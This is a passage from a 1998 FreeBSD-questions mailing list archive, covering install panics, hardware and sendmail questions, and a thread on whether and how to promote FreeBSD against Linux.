Apr 1998 19:43:30 -0400 From: "Ross Potts, CON, EDS/D-SIDDOMS" Message-Id: <9804091940.ZM-98171@161.14.168.22> Date: Thu, 9 Apr 1998 19:40:39 -0700 X-Mailer: ZM-Win (3.2.1 11Sep94) To: FreeBSD-questions@FreeBSD.ORG Subject: Installation from CD Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Now, I've done this successfully before, so I know it works. I'm trying to install to a P133-32MB with a 1.2G HDD(IDE). I've had to restart 4 times so far! AT different times during an install I will get the following message: "panic: bremfree: removing buffer when not on a queue. Syncing disks 260 260 260 giving up". At which point it reboots. I only have so much hair to pull out. What does this usually mean? -- Potts, Ross A. Internet : Ross.Potts@med.osd.mil EDS-D/SIDDOMS Phone : (703) 824-7601 Skyline Two, Suite 1200 Beeper : (888) 687-2709 5113 Leesburg Pike, FAX : (703) 824-4155 Falls Church, VA 22041 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 17:02:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA05541 for freebsd-questions-outgoing; Thu, 9 Apr 1998 17:02:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from tok.qiv.com (efT1HEv5H4mj20RBB0rx3VniO8xwAB/N@tok.qiv.com [205.238.142.68]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA05494; Thu, 9 Apr 1998 17:01:57 -0700 (PDT) (envelope-from jdn@acp.qiv.com) Received: (from uucp@localhost) by tok.qiv.com (8.8.8/8.8.5) with UUCP id SAA14156; Thu, 9 Apr 1998 18:59:45 -0500 (CDT) Received: from localhost (jdn@localhost) by acp.qiv.com (8.8.8/8.8.5) with SMTP id SAA01084; Thu, 9 Apr 1998 18:48:19 -0500 (CDT) Date: Thu, 9 Apr 1998 18:48:19 -0500 (CDT) From: Jay Nelson To: "John S. Dyson" cc: Brett Glass , mike@smith.net.au, dshanes@personalogic.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <199804092221.RAA02226@dyson.iquest.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, John S. Dyson wrote: [snip] >The problem with FreeBSD, is that people working on FreeBSD are generally >older, and find evangelism to be painful. Also, people using FreeBSD >are busy using it, as opposed to worshipping it. > >How do we (really) deal with this? I suggest we don't evangelize, per se. I agree that most of use are older -- and it appears that most of use deal with real clients in the real world. The cost of an OS is the scheme of the commercial world is not a deciding factor. Support and reliability is a major factor. The reliability is as good or better than many commercial Unices, support is generally better from the standpoint of joe admin, since fixes and notices are available weeks and sometimes months before commercial Unices. The only two critical pieces missing are commercial recognition and visible support. Many of us in the field are already delivering support and we will continue. Visibility, though is another matter. I remember the first issue of the FreeBSD Newsletter and thought it was good. Parts of that could have been rolled into news releases, especially the Yahoo article on page one -- but I didn't see anything show up in the trade rags. And, that's where I think we can make some headway. Most corporate decision makers read the rags -- including Forbes. The rags are constantly whining about NT -- so NT gets the recognition. All the rags get are NT releases. What I suggest is this: First -- Jordan -- since you're the main man in this, put the pencil to the paper and figure out what it would cost to mount a program of professional news releases -- including customer profiles. Look at the number of CD-ROMS sold and divide cost by CDs and add to CD cost. Look at the newsletter and consider subscription. Most of us can afford some extra bucks and would be happy to spend it for the credibility. Think in terms of two to three times per month for the news releases. Second: poll the rest of us for contributions. Many of us are using FreeBSD in production environments. (Yeah, I'll volunteer -- even though I can't write worth a plug nickle.) With Yahoo and cdrom.com, all the ISPs out there and those of us in the commercial world, there _have_ to be some interesting stories. Third: for all of us who never bothered to register (which includes me) lets do it, so there is a reasonably accurate account of installed systems. Statistics don't mean much in the real world, but it's what made NT "great" and will help with the first point. The credibility will do us all a great deal of good. If we want the promotion and credibility though, we have to belly up to the bar and be willing to pay as well as contribute. If we're not willing to do that, we shouldn't be arguing the issue. -- Jay To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 17:03:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA05856 for freebsd-questions-outgoing; Thu, 9 Apr 1998 17:03:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gatekeep.ti.com (gatekeep.ti.com [192.94.94.61]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA05825 for ; Thu, 9 Apr 1998 17:03:32 -0700 (PDT) (envelope-from vagner@spdc.ti.com) Received: from tilde.csc.ti.com ([157.170.1.149]) by gatekeep.ti.com (8.8.8) with ESMTP id TAA19111; Thu, 9 Apr 1998 19:03:00 -0500 (CDT) Received: from spdc.ti.com (ox.spdc.ti.com [192.226.26.51]) by tilde.csc.ti.com (8.8.8/8.8.8) with ESMTP id TAA12633; Thu, 9 Apr 1998 19:03:00 -0500 (CDT) Received: from epcot.spdc.ti.com (epcot [192.226.26.53]) by spdc.ti.com (8.8.5/8.8.5) with ESMTP id TAA09969; Thu, 9 Apr 1998 19:02:57 -0500 (CDT) Received: from vagnernt (dhcp22-158.spdc.ti.com [192.226.22.158]) by epcot.spdc.ti.com (8.8.8/8.8.8) with SMTP id TAA02930; Thu, 9 Apr 1998 19:02:57 -0500 (CDT) Date: Thu, 9 Apr 1998 19:02:57 -0500 (CDT) Message-Id: <199804100002.TAA02930@epcot.spdc.ti.com> X-Sender: vagner@epcot.spdc.ti.com X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: Jonathan Fosburgh From: George Vagner Subject: Re: Intel EtherExpress .. Cc: questions@FreeBSD.ORG Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG % give etherexpress alot of love command not found % what gives? hehe At 08:18 AM 4/9/98 -0500, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- > >On Thu, 9 Apr 1998, Doug White wrote: >> >> Only the PCI Pro/100B or Pro/100+. The EtherExpress 16 is supposedly >> supported but it doesn't work. > >Oh it works, I've been using it for 6-8 months. You just have to give it a >lot of love. ;) >+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >Jonathan Fosburgh |We shall not cease from exploration >jef53313@bayou.uh.edu, |And the end of all our exploring >wotan@scientist.com |Will be to arrive where we started > |And know the place for the first time. >www.geocities.com/vienna/1498 | >Undergraduate Geophysics |T.S. Eliot, >University of Houston |The Four Quartets >******************************************************************************* > I swear -- by my life and my love of it -- > at I will never live for the sake of another man > nor ask another man to live for the sake of mine. > > Ayn Rand, Atlas Shrugged >******************************************************************************* > >-----BEGIN PGP SIGNATURE----- >Version: 2.6.2 > >iQBVAwUBNSzKpC+/EgaGK39hAQGwKwIAog4VXJi7k0zeIju0J5LJ6kW7mb7DEptm >pvaN9DgdfFF/W5KtZB7WD7/R8z8NmaFnMqUe8P6F6SA1DBQ3hbAvzw== >=WszP >-----END PGP SIGNATURE----- > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > Laszlo Vagner Texas Instruments Email:kf7nn@ti.com FreeBSD The OS of choice. http://mutsgo.dyn.ml.org telnet://mutsgo.dyn.ml.org Pg. 598-5217 Wk. 995-4297 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 17:38:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA10285 for freebsd-questions-outgoing; Thu, 9 Apr 1998 17:38:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from quena.rcp.net.pe (quena.rcp.net.pe [161.132.1.136]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id RAA10270 for ; Thu, 9 Apr 1998 17:38:19 -0700 (PDT) (envelope-from quena!oscar@quena.rcp.net.pe) Received: from quena (1165 bytes) by quena.rcp.net.pe via sendmail with P\:uucp/R:inet_hosts/T:smtp (sender: ) id for freebsd-questions@FreeBSD.ORG; Thu, 9 Apr 1998 19:36:33 -0400 (EDT) (Smail-3.2.0.96 1997-Jun-2 #3 built 1997-Aug-18) Message-Id: Subject: Re: packages cd rom To: dwhite@resnet.uoregon.edu Date: Thu, 9 Apr 1998 19:35:08 -0400 (EDT) In-Reply-To: from Doug White at "Apr 9, 98 00:09:14 am" From: oscar@rcp.net.pe (Oscar Valdez) X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Use the `pkg_add' command to install packages -- sysinstall assumes you > have a CD. Just run `pkg_add /path/to/package.tgz'. > OK, but i want to install via /stand/sysinstall in a diferent path. Not via pkg_add, why? because my freebsd system is "clean", without elm pine apache bash tcsh netscape etc, i know how to install via pkg_add but i want to install via /stand/sysinstall cause is automatic (i would install all the packages) Thanks. P.D. Anyone know why my pop (qpopper) retrun this message: 553 myserver.mydomain.com config error: mail loops back to myself -- Oscar To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 17:51:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA11991 for freebsd-questions-outgoing; Thu, 9 Apr 1998 17:51:01 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA11964; Thu, 9 Apr 1998 17:50:51 -0700 (PDT) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.8/8.8.8) with ESMTP id RAA03984; Thu, 9 Apr 1998 17:50:23 -0700 (PDT) (envelope-from jkh@time.cdrom.com) To: "David Shanes" cc: "Brett Glass" , freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-reply-to: Your message of "Thu, 09 Apr 1998 13:37:44 PDT." <01f501bd63f7$597e4000$1d43a8c0@shanes.personalogic.com> Date: Thu, 09 Apr 1998 17:50:23 -0700 Message-ID: <3980.892169423@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I was told by Eric Raymond (whom I met briefly at the Mozilla party) that the *BSD people were deliberately excluded because there were too many BSDs and they didn't want to get involved in any political issues over it. I find these continuous allegations of the BSD world being gratuitously and needlessly "split" (even though each *BSD seeks to fill a different niche) by the Linux community to be rather tiresome considering the amount of division in their own ranks and can only see this as something of a double standard, but I've long since given up on any hope of fair play from this particular crowd. This and several other incidents of a similar nature has pretty much convinced me that this crowd would rather prefer it if we really didn't exist at all and is going to essentially conduct their operations as if we didn't. Oh well. Perhaps it *IS* time to go on the PR offensive here ("Why Linux doesn't work") since playing nice guys hasn't appeared to have won us anything but lots of nice comments from folks like Marc A. at netscape to the effect that "Linux is the only free OS alternative." I'm getting tired of that, and if it's going to take "breaking ranks" with the rest of the free OS community to get our own message out, maybe it's time. Jordan > To All, > This is the message that I sent Tim O'Reilly, the founder of O'Reilly > and Associates. Next I will send you his response. > > David > > -----Original Message----- > From: David Shanes > To: tim@oreilly.com > Date: Thursday, April 09, 1998 11:45 AM > Subject: Your Article "Freeware: The Heart & Soul of the Internet" > > > >Mr. O'reilly, > > I applaud ORA's endorsement of Open Source software. It is a huge step > >to gather together the "forefathers" of some of the most popular and stable > >software in use on the Internet today. > > Personally, I use FreeBSD and was wondering if there was any particular > >reason that the developers of FreeBSD were not included in your "Freeware > >Summit". > > FreeBSD has much to offer over Linux and has a huge developer/user > base, > >including Yahoo! and CDROM.COM. > > > >Sincerely, > >David Shanes > >_____________________________________________________ > >David Shanes 7535 Metropolitan Drive > >dshanes@personalogic.com San Diego, CA 92108 > >Database Developer (619) 220-5800 x228 > >PersonaLogic, Inc. (619) 220-5899 (fax) > >http://www.PersonaLogic.com > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 18:03:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA15005 for freebsd-questions-outgoing; Thu, 9 Apr 1998 18:03:23 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: (from jmb@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA14824; Thu, 9 Apr 1998 18:01:35 -0700 (PDT) (envelope-from jmb) From: "Jonathan M. Bresler" Message-Id: <199804100101.SAA14824@hub.freebsd.org> Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <199804092221.RAA02226@dyson.iquest.net> from "John S. Dyson" at "Apr 9, 98 05:21:28 pm" To: toor@dyson.iquest.net (John S. Dyson) Date: Thu, 9 Apr 1998 18:01:34 -0700 (PDT) Cc: brett@lariat.org, mike@smith.net.au, dshanes@personalogic.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG John S. Dyson wrote: > Brett Glass wrote: > > If there is not an exceedingly strong effort to promote FreeBSD as superior > > to Linux, Linux -- which has a larger installed base -- will be catapulted > > to a dominant position while FreeBSD will see no noticeable increase in > > its user base or its popularity. FreeBSD needs to have a few "zealots" and > > "evangelists" -- just as Linux does -- to stubbornly insist that > > FreeBSD be included in every forum where Linux is discussed. It also needs > > some calmer proponents to take up the slack. Perhaps a new slot on the > > core team -- "Chief Evangelist" -- is in order. > > > The problem with FreeBSD, is that people working on FreeBSD are generally > older, and find evangelism to be painful. Also, people using FreeBSD > are busy using it, as opposed to worshipping it. > > How do we (really) deal with this? evangelism is a full-time plus overtime job with lots of travel, lumpy beds, lousy food and irritating people. you gotta be crazy and well paid to do it. a volunteer "Chief Evangelist" would hvae to be indepentently weathly. anyone wanna volunteer? jmb To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 18:14:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA16488 for freebsd-questions-outgoing; Thu, 9 Apr 1998 18:14:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw02.execpc.com (mailgw02.execpc.com [169.207.16.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA16457; Thu, 9 Apr 1998 18:14:44 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (kosnax-21.mdm.mke.execpc.com [169.207.64.25]) by mailgw02.execpc.com (8.8.8) id UAA06791; Thu, 9 Apr 1998 20:14:22 -0500 (CDT) Received: (from fpawlak@localhost) by darkstar.connect.com (8.8.8/8.8.8) id UAA23108; Thu, 9 Apr 1998 20:14:14 -0500 (CDT) From: Frank Pawlak Message-Id: <199804100114.UAA23108@darkstar.connect.com> Date: Thu, 9 Apr 1998 20:14:12 -0500 (CDT) To: toor@dyson.iquest.net Cc: brett@lariat.org, mike@smith.net.au, dshanes@personalogic.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <199804092221.RAA02226@dyson.iquest.net> X-Mailer: Ishmail 1.3.2-971023-FreeBSD MIME-Version: 1.0 Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "John S. Dyson" wrote: > > > > As an industry and trend watcher, I have a compelling sense that the > > next few months will represent an "inflection point" -- that is, a > > period during which a major change in attitude and direction will be > > felt in the computer industry. Freely redistributable operating > systems > > will suddenly acquire serious credibility and will no longer be able > to > > be ignored by the mainstream media nor by developers. However, as > the > > rise of Microsoft has shown, most users will fail to investigate > > alternatives and will adopt only those products with the largest > installed > > base and the most press coverage. Thus, FreeBSD stands to suffer as > much > > as to gain from the paradigm shift. > > > I agree especially with your last statement. > > > > > If there is not an exceedingly strong effort to promote FreeBSD as > superior > > to Linux, Linux -- which has a larger installed base -- will be > catapulted > > to a dominant position while FreeBSD will see no noticeable increase > in > > its user base or its popularity. FreeBSD needs to have a few > "zealots" and > > "evangelists" -- just as Linux does -- to stubbornly insist that > > FreeBSD be included in every forum where Linux is discussed. It also > needs > > some calmer proponents to take up the slack. Perhaps a new slot on > the > > core team -- "Chief Evangelist" -- is in order. > > > The problem with FreeBSD, is that people working on FreeBSD are > generally > older, and find evangelism to be painful. Also, people using FreeBSD > are busy using it, as opposed to worshipping it. > > How do we (really) deal with this? Such is true. I am a "newish" FreeBSD user and SuSE Linux reseller. I see a ready market for free "low cost" software in college bookstores, particularly those universities that have computer engineering and comsci departments. Part of evangelism is marketing and market presence. Having this OS on display at universities will attract a young audience the very people that are evangelizing Linux. Frank > > John > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 18:15:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA16578 for freebsd-questions-outgoing; Thu, 9 Apr 1998 18:15:15 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from monk.via.net (monk.via.net [209.81.9.10]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id SAA16482 for ; Thu, 9 Apr 1998 18:14:56 -0700 (PDT) (envelope-from joe@via.net) Received: (from joe@localhost) by monk.via.net (8.6.11/8.6.12) id SAA22182 for questions@freebsd.org; Thu, 9 Apr 1998 18:14:43 -0700 Date: Thu, 9 Apr 1998 18:14:43 -0700 From: Joe McGuckin Message-Id: <199804100114.SAA22182@monk.via.net> To: questions@FreeBSD.ORG Subject: Re: Sendmail oddities X-Sun-Charset: US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG After compiling sendmail to enable the DontProbeInterfaces option & adding O DontProbeInterfaces=True to the config file, everything work ok. (so far) Thanks for the help! Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 18:25:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA18788 for freebsd-questions-outgoing; Thu, 9 Apr 1998 18:25:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA18769 for ; Thu, 9 Apr 1998 18:25:17 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id KAA16637; Fri, 10 Apr 1998 10:55:08 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id KAA00572; Fri, 10 Apr 1998 10:55:07 +0930 (CST) (envelope-from grog) Message-ID: <19980410105507.58734@freebie.lemis.com> Date: Fri, 10 Apr 1998 10:55:07 +0930 From: Greg Lehey To: John Dorr , freebsd-questions@FreeBSD.ORG Subject: Re: NO BOOT!!! URGENT!!! References: <352B3748.727F2955@futuregate.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <352B3748.727F2955@futuregate.net>; from John Dorr on Wed, Apr 08, 1998 at 02:37:28AM -0600 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 April 1998 at 2:37:28 -0600, John Dorr wrote: > when I start to boot my system it gets to the line "Intel Pentuim F00F > detected, installing workaround" and then it just stops and sits > > what is going on? I don't know. You haven't told us any details. How about: - what hardware? - did the machine work before? - why were you booting? Maybe with a little bit of effort you can think of other things that might be of relevance. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 18:28:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA19298 for freebsd-questions-outgoing; Thu, 9 Apr 1998 18:28:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from xcf.berkeley.edu (scam.XCF.Berkeley.EDU [128.32.43.201]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id SAA19134 for ; Thu, 9 Apr 1998 18:28:19 -0700 (PDT) (envelope-from nordwick@xcf.berkeley.edu) Received: (qmail 25210 invoked by uid 27268); 10 Apr 1998 01:16:18 -0000 Date: 10 Apr 1998 01:16:18 -0000 Message-ID: <19980410011618.25209.qmail@xcf.berkeley.edu> From: Jason Nordwick MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Frank Pawlak Cc: toor@dyson.iquest.net, brett@lariat.org, mike@smith.net.au, dshanes@personalogic.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: fpawlak@execpc.com on 4/9/1998 to toor@dyson.iquest.net, brett@lariat.org, mike@smith.net.au, dshanes@personalogic.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG <199804100114.UAA23108@darkstar.connect.com> References: <199804092221.RAA02226@dyson.iquest.net> <199804100114.UAA23108@darkstar.connect.com> X-Mailer: VM 6.32 under Emacs 19.34.1 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Frank Pawlak, on Thu 4/9/1998, wrote the following: > > Such is true. I am a "newish" FreeBSD user and SuSE Linux reseller. I > see a ready market for free "low cost" software in college bookstores, > particularly those universities that have computer engineering and > comsci departments. Part of evangelism is marketing and market > presence. Having this OS on display at universities will attract a > young audience the very people that are evangelizing Linux. > Frank > Would it be possible to have the Walnut Creek CDs in computer/bookstores, as I see the Linux CDs ? What would this take, just calling and marketing ? jay -- Join the FreeBSD Revolution. Support the FSF, buy GNU. http://xcf.berkeley.edu/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 18:35:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA21558 for freebsd-questions-outgoing; Thu, 9 Apr 1998 18:35:29 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from nirvana.genesyslab.com (nirvana.genesyslab.com [204.94.142.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA21487; Thu, 9 Apr 1998 18:34:57 -0700 (PDT) (envelope-from abelits@genesyslab.com) Received: from es1840.genesyslab.com (abelits@es1840-nat.genesyslab.com [204.94.142.68]) by nirvana.genesyslab.com (Guinness/Extra Stout) with ESMTP id SAA00985 (envelope-from abelits@genesyslab.com); Thu, 9 Apr 1998 18:34:53 -0700 (PDT) Received: from localhost (abelits@localhost) by es1840.genesyslab.com (8.8.5/8.8.5) with SMTP id SAA03154; Thu, 9 Apr 1998 18:37:00 -0700 (PDT) X-Authentication-Warning: es1840.genesyslab.com: abelits owned process doing -bs Date: Thu, 9 Apr 1998 18:37:00 -0700 (PDT) From: Alex Belits To: "Jordan K. Hubbard" cc: David Shanes , Brett Glass , freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <3980.892169423@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Jordan K. Hubbard wrote: > I was told by Eric Raymond (whom I met briefly at the Mozilla party) > that the *BSD people were deliberately excluded because there were too > many BSDs and they didn't want to get involved in any political issues > over it. I find these continuous allegations of the BSD world being > gratuitously and needlessly "split" (even though each *BSD seeks to > fill a different niche) by the Linux community to be rather tiresome > considering the amount of division in their own ranks and can only see > this as something of a double standard, but I've long since given up > on any hope of fair play from this particular crowd. While Eric Raymond may know better, I suspect that they were afraid of being involved in political issues over *BSD _vs._ Linux. That looks way, way more realistic, evan though still insulting. > This and several other incidents of a similar nature has pretty much > convinced me that this crowd would rather prefer it if we really > didn't exist at all and is going to essentially conduct their > operations as if we didn't. Oh well. Perhaps it *IS* time to go on > the PR offensive here ("Why Linux doesn't work") since playing nice > guys hasn't appeared to have won us anything but lots of nice comments > from folks like Marc A. at netscape to the effect that "Linux is the > only free OS alternative." I'm getting tired of that, and if it's > going to take "breaking ranks" with the rest of the free OS community > to get our own message out, maybe it's time. Please, before doing that try to make a list of goals that it is supposed to accomplish. -- Alex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 18:38:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA22802 for freebsd-questions-outgoing; Thu, 9 Apr 1998 18:38:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA22788 for ; Thu, 9 Apr 1998 18:38:29 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id LAA16658; Fri, 10 Apr 1998 11:08:15 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id LAA00666; Fri, 10 Apr 1998 11:08:09 +0930 (CST) (envelope-from grog) Message-ID: <19980410110809.41413@freebie.lemis.com> Date: Fri, 10 Apr 1998 11:08:09 +0930 From: Greg Lehey To: anthony@sohopros.com, Doug White Cc: "questions@FreeBSD.ORG" Subject: Re: sending an attachment? References: <3.0.32.19980409064824.008164a0@pop.flash.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <3.0.32.19980409064824.008164a0@pop.flash.net>; from anthony@sohopros.com on Thu, Apr 09, 1998 at 06:48:26AM -0500 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 April 1998 at 6:48:26 -0500, anthony@sohopros.com wrote: > >>> I have an error message I would like to get help with but I can not >>> figure out how to insert the typescript into the body of my email. >>> Is it ok. send it as an attachment to -questions....? >> >> I would think that Mozilla would have a `read file' option. If anything, >> open up a big xterm, select all the text, then paste. > > After I open xterm what procedure do I use to copy and paste > the message? 1. Put the mouse cursor at one end of the block you want to copy. 2. Press the left button, keep it held down and move to the other end of the block. 3. Release the button. 4. Move to the Netscrape window. 5. If you have explicit focus, press a mouse button to select the window. 6. Move the mouse cursor to where you want to insert. 7. Press the middle button. 8. Check that the text looks correct. It could be a real mess. If it is, tidying it up is non-trivial. You would be better off with a real mailer. It's particularly important to get error messages correct. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 18:47:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA24352 for freebsd-questions-outgoing; Thu, 9 Apr 1998 18:47:09 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from euthyphro.uchicago.edu (euthyphro.uchicago.edu [128.135.21.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA24340 for ; Thu, 9 Apr 1998 18:46:57 -0700 (PDT) (envelope-from sfarrell@phaedrus.uchicago.edu) Received: from phaedrus.uchicago.edu (phaedrus [128.135.21.10]) by euthyphro.uchicago.edu (8.8.6/8.8.4) with ESMTP id UAA22795; Thu, 9 Apr 1998 20:46:52 -0500 (CDT) Received: (from sfarrell@localhost) by phaedrus.uchicago.edu (8.8.8/8.8.5) id UAA22101; Thu, 9 Apr 1998 20:46:51 -0500 (CDT) To: jwlo@ms11.hinet.net Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Please help me!! References: <352D2A8E.6FE308B7@ms11.hinet.net> From: 